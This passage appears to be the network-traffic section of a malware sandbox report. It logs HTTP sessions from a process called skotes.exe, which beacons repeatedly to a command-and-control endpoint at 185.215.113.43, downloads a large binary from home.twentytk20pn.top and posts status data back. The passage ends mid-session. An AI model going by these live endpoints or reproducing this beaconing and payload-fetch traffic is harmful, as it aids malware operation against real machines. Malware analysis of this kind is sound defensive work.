Dec 17, 2024 22:10:10.677244902 CET	2472	OUT	Data Raw: 61 5a 4b 33 37 76 65 5c 2f 5c 2f 66 7a 5c 2f 41 44 30 35 78 5c 2f 68 55 33 2b 73 5c 2f 6a 5c 2f 37 5a 5c 2f 77 44 31 76 35 66 79 70 6a 44 64 49 37 37 49 38 66 35 5c 2f 44 6e 6e 5c 2f 41 50 58 51 61 46 62 62 75 6a 35 50 6c 39 6f 6f 76 4e 5c 2f 35 Data Ascii: aZK37ve\/\/fz\/AD05x\/hU3+s\/j\/7Z\/wD1v5fypjDdI77I8f5\/Dnn\/APXQaFbbuj5Pl9oovN\/5ePx\/p37VC3yKjumU6+Z5X4\/\/AKqtIdv7v\/pl5vmc\/wCf89KRv9Z\/sGL\/AFcef89u9BpT6\/L9Stt\/j6enmS\/jVZv4XzGH\/wBb\/n+f+TVll3cD534iik6+d9j9Pw\/KmNHy\/wDH\/n8+v6UHR7Ty\/
Dec 17, 2024 22:10:10.677279949 CET	2472	OUT	Data Raw: 64 6a 6a 39 7a 5c 2f 72 50 38 38 2b 6e 48 70 55 2b 31 38 35 66 31 38 77 49 66 6b 6a 32 50 2b 38 5c 2f 64 5c 2f 76 63 79 66 36 69 62 5c 2f 50 38 41 57 69 54 35 57 5c 2f 31 66 2b 73 6c 5c 2f 65 5c 2f 38 41 4c 44 5c 2f 50 70 52 35 61 62 74 6d 7a 35 Data Ascii: djj9z\/rP88+nHpU+185f18wIfkj2P+8\/d\/vcyf6ib\/P8AWiT5W\/1f+sl\/e\/8ALD\/PpR5abtmz55Iv+Wf\/ACxyf85+tPbfHv3fvP3vmzeXF\/rv8\/Tvn0o9r5y\/r5nQfvNJZwyD5Jtj\/wDPOQ\/X8M\/54qjJp8v9w7eccDv7k\/0Jqx\/H\/wAC\/rVlZH\/gf\/Pv\/wDXrE\/yP9pUp21+9f1p8j6U\/ZP0TT
Dec 17, 2024 22:10:10.677347898 CET	2472	OUT	Data Raw: 2f 77 43 43 5a 33 37 45 66 37 52 6e 77 41 38 59 2b 4e 76 6a 4c 38 46 50 2b 45 78 38 54 36 56 38 59 76 45 48 68 57 77 31 50 5c 2f 68 5a 48 78 62 38 50 65 52 6f 4e 6c 34 4a 2b 48 75 72 32 74 68 39 69 38 4b 2b 50 64 44 30 2b 58 79 74 52 31 7a 56 4c Data Ascii: /wCCZ37Ef7RnwA8Y+NvjL8FP+Ex8T6V8YvEHhWw1P\/hZHxb8PeRoNl4J+Hur2th9i8K+PdD0+XytR1zVLj7VNaSXr\/avKkuHggt4of5x+kZnPBPDXDuQcQcfZbnOaZRQ4yyR5bh8hWGnjaeeYTA5vj8LVxEMZjcuoyy+eEweOwuLgsROdWGJVF0XTqTqU\/8ARD6FGc5rxDUzjw74TrUsBxDQ4b4izjMMZm0OXKKuRYnNMjy6
Dec 17, 2024 22:10:10.677376032 CET	2472	OUT	Data Raw: 33 5c 2f 41 6a 5c 2f 50 34 30 47 6c 50 72 38 76 31 49 4e 67 39 5c 2f 38 5c 2f 68 55 56 57 4b 6a 6b 37 66 6a 51 61 46 66 79 5c 2f 66 39 50 5c 2f 72 31 48 56 69 6d 76 39 30 5c 2f 68 5c 2f 4d 55 48 52 54 71 62 36 66 31 33 58 39 64 74 53 47 6f 63 48 Data Ascii: 3\/Aj\/P40GlPr8v1INg9\/8\/hUVWKjk7fjQaFfy\/f9P\/r1HVimv90\/h\/MUHRTqb6f13X9dtSGocH+7\/wChf41NRUci8\/6+R0Femd0+h\/lT6KXs\/P8AD\/ggRP1\/D+pplSSdvxqOtDb2vnL+vmVZe\/8Avf403y\/mfr1\/D\/I\/zirlV6DqInTb\/LmmVYqvQFL7Pz\/Uj8v3\/T\/69R1YqOTt+NB0FVo\/xH5
Dec 17, 2024 22:10:10.796489000 CET	2472	OUT	Data Raw: 7a 5c 2f 77 41 39 2b 4b 68 61 51 72 47 6a 37 50 38 41 50 70 30 5c 2f 44 76 36 64 36 50 4c 54 35 31 2b 35 48 5c 2f 71 76 4c 39 4f 6e 5c 2f 77 43 76 5c 2f 47 67 30 39 70 35 66 6a 5c 2f 77 41 62 5a 38 6a 76 44 76 54 5c 2f 70 6f 65 6e 5c 2f 54 31 36 Data Ascii: z\/wA9+KhaQrGj7P8APp0\/Dv6d6PLT51+5H\/qvL9On\/wCv\/Gg09p5fj\/wAbZ8jvDvT\/poen\/T1696rfd+4\/wA\/\/PT\/AJ4\/\/X\/zz3s\/dj+RMcY\/f8\/6P\/nt1\/GmlSqu\/k9I\/wCZrT2nl+P\/AADQP9tvn8z91+7\/AOWvp\/jUEf8A00\/5Z\/Z\/3cYPT\/n6H+eetTSR7lR98n18wcc\/ZPb7F+I6
Dec 17, 2024 22:10:13.219710112 CET	164	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Tue, 17 Dec 2024 21:10:13 GMT content-type: text/html; charset=utf-8 content-length: 26 Data Raw: 73 65 53 67 61 72 68 64 59 6d 56 57 41 65 4f 47 31 37 33 34 34 36 39 38 31 32 Data Ascii: seSgarhdYmVWAeOG1734469812

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	50133	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:10:11.880901098 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:10:13.239842892 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:10:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	50134	104.154.220.71	80

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:10:13.486121893 CET	126	OUT	GET /WEIsmPfDcpBFJozngnYN1734366322?argument=seSgarhdYmVWAeOG1734469812 HTTP/1.1 Host: home.twentytk20pn.top Accept: /
Dec 17, 2024 22:10:14.973929882 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Tue, 17 Dec 2024 21:10:14 GMT content-type: application/octet-stream content-length: 10816560 content-disposition: attachment; filename="wmhxbWrMmpOSXnEQUlz;" last-modified: Mon, 16 Dec 2024 16:25:22 GMT cache-control: no-cache etag: "1734366322.858812-10816560-3400407440" Data Raw: d5 59 3c ac 4f c5 f6 d3 51 7e 47 47 26 fc 67 8e 84 c9 d0 b9 c8 1a b5 f2 9f 36 58 4e 2a 47 78 b3 71 d6 90 99 2c 75 71 ee 05 07 6f e4 46 9c 81 25 65 1e b9 5c 4c cd 26 06 a2 8a 7f f2 65 9e 16 dd 0a 62 a6 54 b4 af c9 89 f9 fa 9d 0d e0 ee 45 13 e3 62 b4 7a 27 ea 09 83 39 68 2b 57 d4 60 b5 5e e3 8d 8a ca f3 0f 65 59 61 a9 31 84 ec 75 18 9f 24 5a b0 43 dc a9 88 a2 32 72 8c 21 0b 74 3a 35 c1 bb ab 53 27 66 6a 20 e9 40 bb 35 77 dc 6b 55 70 51 7b b4 f9 80 55 0a bb 5b 04 23 b9 54 94 13 ce 2c 0f 64 c3 37 11 71 7d c1 39 1d bd 7e 1d a8 c2 76 08 b7 bb e4 83 f9 ca ca 3f d4 dc a1 68 0b fd 09 4e df f0 a3 4b ae ec 74 e9 a6 d0 f3 8f 73 8f bf ae 9d b3 e6 e5 e8 01 1a e2 90 67 05 cf 14 df 94 91 9a ac 00 db 92 f7 18 9e cd ca 55 e2 d5 d7 f2 87 f7 fa 3e f6 0f 54 99 fb 85 6f 27 8f 0b 94 d4 df 07 de d7 fd d7 24 7d 3b e8 61 d3 13 51 b5 02 12 b2 41 76 6e ac e5 f8 d0 76 a2 58 a0 af b0 ed e4 17 7d e1 24 1c 2f d5 3b 76 8d 8f 0c ad 07 bf 79 f7 c3 7c ae 13 ae 2d b2 54 c1 39 70 46 45 22 5c aa 6d 59 19 8b e5 22 88 83 18 44 c0 92 bf b1 [TRUNCATED] Data Ascii: Y<OQ~GG&g6XNGxq,uqoF%e\L&ebTEbz'9h+W`^eYa1u$ZC2r!t:5S'fj @5wkUpQ{U[#T,d7q}9~v?hNKtsgU>To'$};aQAvnvX}$/;vy\|-T9pFE"\mY"D7kamD}?@ZY m>]De!cYJ<vG}%o$QWP8.jxx%_xHVFC:\Y<,8/w"QQt4ep\6OC)['[VFdN_btA9AF]"e$9&-;( NGU1ht)#i$00_W~W<"]::Uxw[\|yJ~n7isY2_(q8""~@/t1@"n6]rtYukb.]PxC3l&f-KMU;5^>>?eRL?#14rYlG(~ {9Ps!jRn@f^KI/DSLKs4`dX/iwo\I@$
Dec 17, 2024 22:10:14.974009037 CET	1236	IN	Data Raw: f4 94 2e 6b 10 0a 2a 7d 78 3d a2 5d 2e 64 71 a5 1c fe 68 57 df 5f 96 f6 4c 28 9f 74 29 e4 0e 1d 56 23 c2 6c 8a c0 b4 eb 62 28 4c ee 7b 5a c4 2f e5 ef 72 84 32 e9 e1 08 27 06 4a 55 a3 38 47 7e b6 98 46 90 01 62 04 56 b0 f0 70 df a4 19 39 28 eb a8 Data Ascii: .k}x=].dqhW_L(t)V#lb(L{Z/r2'JU8G~FbVp9(C4.BqN%7aNQ4/2M]ur"sTJj6(kD8ctTBHUE:zm[Y264#rGSLZUs'Tw
Dec 17, 2024 22:10:14.974045992 CET	1236	IN	Data Raw: 4d bc c2 d8 75 84 b5 f7 b3 59 c9 af 94 f9 8a 27 4e 85 a1 36 76 b0 38 83 cc bd a2 a7 55 2a 4b 0b 05 51 f9 f5 0e fb 39 63 2b c9 60 04 64 e5 6b 13 26 92 33 af 53 a1 bc 41 14 9f 71 fd 27 65 5f 93 58 48 46 88 7a e2 3d 5a c7 1d f9 00 f1 4e be cf fb db Data Ascii: MuY'N6v8U*KQ9c+`dk&3SAq'e_XHFz=ZNmMl]!5,Gjk[}tXW~"3d-_n!y4N}oW>fpB~:Lz(S]sQrH~isg?H/Vaw!_)?-j%
Dec 17, 2024 22:10:14.974100113 CET	552	IN	Data Raw: db bb 04 06 f0 1d c4 65 dc 85 cf 73 b0 c9 a6 f5 f3 c9 de cb 33 10 d9 0c db b7 e7 5d 4e 59 82 da 60 18 75 95 28 0f e6 fe ca 94 ab 39 72 a3 40 bb 10 e7 dc b1 3e 62 82 62 0f 79 53 e6 35 3a d4 54 04 89 2e 96 e6 bd 03 ba 97 04 56 44 2b 90 5c 6d c1 ba Data Ascii: es3]NY`u(9r@>bbyS5:T.VD+\m(T3rr+6g($8!&v;3+6W<yeYY2C%TslvBiZYc<![x{F $UR"S4m>
Dec 17, 2024 22:10:14.974134922 CET	1236	IN	Data Raw: 28 f4 d3 5e 44 c0 36 32 1a 94 12 37 4d 1c 8b 54 be b5 3d 61 d1 fc b3 46 05 2c be ff 8a 90 37 79 b8 15 da 9d 88 de ca 63 5e e9 fe a7 2f e1 ec 84 97 00 52 d1 f9 bb 51 e2 31 55 94 47 15 56 fe c1 f5 ee ea 3c b3 6b 34 b3 c0 3a 0a 7f fc 1a 80 ef 3a a3 Data Ascii: (^D627MT=aF,7yc^/RQ1UGV<k4::l2%$-"$#[:Se2\EAVtU!8p7dU+s0ZP>fkE#K2@0-rEz z%:WuvORyu
Dec 17, 2024 22:10:14.974169970 CET	1236	IN	Data Raw: 9d 09 cf 20 b3 88 d5 0c 12 29 de d8 85 ce a5 96 57 26 8e 29 e7 81 92 69 1d c0 db 6e d6 c9 2a bb 84 ad a4 e1 0e 81 df 71 70 22 74 71 3d 9a 18 b7 99 10 0c 16 d4 ae 90 dc e5 ee 58 7f 88 5c ed 29 3f ec 57 6b 81 c2 38 77 36 37 b2 19 ba 96 76 90 92 d3 Data Ascii: )W&)inqp"tq=X\)?Wk8w67vQ1v#3VT.r9?yE7UFZA{RL3/O`B3{cJ`)y`}>2g_ViZMh%58,'XH%dR
Dec 17, 2024 22:10:14.974261999 CET	1236	IN	Data Raw: 06 fe 73 d7 a3 42 08 54 6c 51 bc 15 b2 73 88 d4 56 9b 2a 45 d0 67 ba b5 82 85 ba ff 2c 4a d7 cb a3 20 45 6e 91 2a b2 c9 eb 16 7a 82 aa 66 87 a2 e3 34 9d 0a 03 c7 01 ec 74 5d 20 05 1e 91 03 33 09 ba de 2b 8d 1b a9 f7 59 6a 85 09 40 67 69 39 e1 5c Data Ascii: sBTlQsVEg,J Enzf4t] 3+Yj@gi9\EVDBJjH'&W;;+@\|Czl]abQ">:2+p#^#\|@)OPqH=_p@akD{6TFEizG`0jUXSaKO0"sZ~"Z(eO
Dec 17, 2024 22:10:14.974298954 CET	1236	IN	Data Raw: ee ca 7e 8f 3f 12 48 8a 15 e9 5b 34 a3 3e 1e 88 4b ec a0 8b bf a5 b8 cf db a3 30 2a bb 9f 31 64 0e 5c c9 8d 94 38 be e9 02 17 b2 a3 c2 56 30 d5 77 a8 ba 16 28 83 ab b0 ce 93 4d e2 7b 4e 07 09 9a ee 65 c8 1a f8 7a 7b 8e a7 43 a6 12 e2 05 98 a2 b3 Data Ascii: ~?H[4>K0*1d\8V0w(M{Nez{C:nN-}2eJ?lo4j_c@V2QWv[Vcj@,FX7NdH$!%2KV?zc%(4N2Bw3\|0.h lLj
Dec 17, 2024 22:10:14.974332094 CET	736	IN	Data Raw: f4 30 8d 9a b2 01 86 04 ce 05 04 a4 87 85 1d f6 e9 8b 9c ca 80 42 54 ee 6d cd e4 16 b9 76 93 54 46 52 c6 7c b7 9e 2c 11 64 0f 56 de d1 a0 25 59 1c 04 38 a0 d9 1d 9a 30 0d e2 48 9a 71 37 5f b1 a0 74 4c 55 f3 ff 8b b7 95 0c 29 3e 2a fc fa 70 ed d5 Data Ascii: 0BTmvTFR\|,dV%Y80Hq7_tLU)>pd-a3sK&"9:)OBNIeZY. zM6g(1sz:\kkwG0sCQy~>/r8Wni&dn623
Dec 17, 2024 22:10:14.975097895 CET	1236	IN	Data Raw: ec 67 26 13 28 1e 4d d4 fc 40 95 41 ff 4d c3 28 24 6d 4a 28 f0 d3 21 60 2a 52 b3 f5 ab 9e 5b fb df 18 05 9a 25 6e f7 7f e0 78 f1 65 3d dd ef 76 20 f7 30 06 a9 60 7e 2a 85 2f 6e 06 03 92 34 5b 65 95 ef ab 95 66 79 5c 6c 09 a8 48 f7 0e ab 4f 82 e5 Data Ascii: g&(M@AM($mJ(!`R[%nxe=v 0`~/n4[efy\lHO>*v:kYS<k"o!PN2{{`dn,M~l:%Ru'D;\)N42=HnXUPW2,`Qw]+QRHK6qUy"sn
Dec 17, 2024 22:10:15.093893051 CET	1236	IN	Data Raw: 31 91 6e 6f b4 f8 76 9d 88 d4 d6 0c 2e ea 74 28 d4 0c 6b 60 8c 2a 09 46 9d ff 96 00 14 48 da b4 3c 49 69 b5 1f 3f ec 56 49 f5 4f 16 c1 d8 94 a2 67 c8 5d 84 bb 48 90 ca a0 a6 ba 3d 51 93 2d fb 38 74 6c 86 1a 0c 31 58 ae 38 06 bb 31 d3 89 1f fb 6b Data Ascii: 1nov.t(k`FH<Ii?VIOg]H=Q-8tl1X81k}(LRce6Dkk0Zc:bqx'3K+}cb(t<Jkg`dU%X2~e,yL5{H5lucKh$.i#19\|x

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	50135	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:10:14.881129980 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:10:16.249109983 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:10:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	50136	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:10:17.993300915 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:10:19.477303982 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:10:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	50138	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:10:21.118854046 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:10:22.499960899 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:10:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	50139	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:10:24.241250038 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:10:25.572856903 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:10:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	50140	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:10:27.210850954 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:10:28.563540936 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:10:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	50141	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:10:30.321607113 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:10:31.648654938 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:10:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	50142	104.154.220.71	80

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:10:32.054728985 CET	198	OUT	POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1 Host: home.twentytk20pn.top Accept: / Content-Type: application/json Content-Length: 55 Data Raw: 7b 20 22 69 64 31 22 3a 20 22 73 65 53 67 61 72 68 64 59 6d 56 57 41 65 4f 47 31 37 33 34 34 36 39 38 31 32 22 2c 20 22 64 61 74 61 22 3a 20 22 64 75 62 6c 22 20 7d Data Ascii: { "id1": "seSgarhdYmVWAeOG1734469812", "data": "dubl" }
Dec 17, 2024 22:10:33.546703100 CET	141	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Tue, 17 Dec 2024 21:10:33 GMT content-type: text/html; charset=utf-8 content-length: 4 Data Raw: 6f 6b 61 79 Data Ascii: okay

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	50143	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:10:33.289247990 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:10:34.626411915 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:10:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	50145	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:10:36.671232939 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:10:38.002983093 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:10:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	50147	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:10:39.630873919 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:10:41.056839943 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:10:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	50148	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:10:42.804713011 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:10:44.146281958 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:10:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	50149	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
